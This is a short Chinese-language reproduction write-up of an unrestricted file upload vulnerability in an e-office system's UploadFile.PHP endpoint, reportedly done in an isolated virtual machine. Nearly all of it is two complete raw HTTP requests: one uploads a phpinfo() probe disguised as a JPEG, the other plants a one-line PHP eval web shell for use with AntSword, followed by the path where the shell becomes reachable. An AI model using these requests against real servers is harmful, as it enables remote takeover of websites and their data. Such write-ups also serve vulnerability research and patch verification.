本次复现，是在独立虚拟环境进行，未损害相关权益
1、下载文件
2、安装成功
漏洞描述
在/general/index/UploadFile.PHP中上传文件过滤不严格导致允许无限制地上传文件，攻击者可以通过该漏洞直接获取网站权限
发送请求
查看PHP信息
POST /general/index/UploadFile.PHP?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Connection: close Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6 Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348 Content-Length: 193 Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4 --e64bdf16c554bbc109cecef6451c26a4 Content-disposition: form-data; name="Filedata"; filename="test.PHP" Content-Type: image/jpeg <?PHP PHPinfo();?> --e64bdf16c554bbc109cecef6451c26a4--
蚁键连接攻击
POST /general/index/UploadFile.PHP?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Connection: close Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6 Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348 Content-Length: 193 Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4 --e64bdf16c554bbc109cecef6451c26a4 Content-disposition: form-data; name="Filedata"; filename="test.PHP" Content-Type: image/jpeg <?PHP @eval($_ POST[pass]);?> --e64bdf16c554bbc109cecef6451c26a4--
Burp抓包
重放攻击，测试
访问
/images/logo/logo-eoffice.PHP 即可成功
完成。
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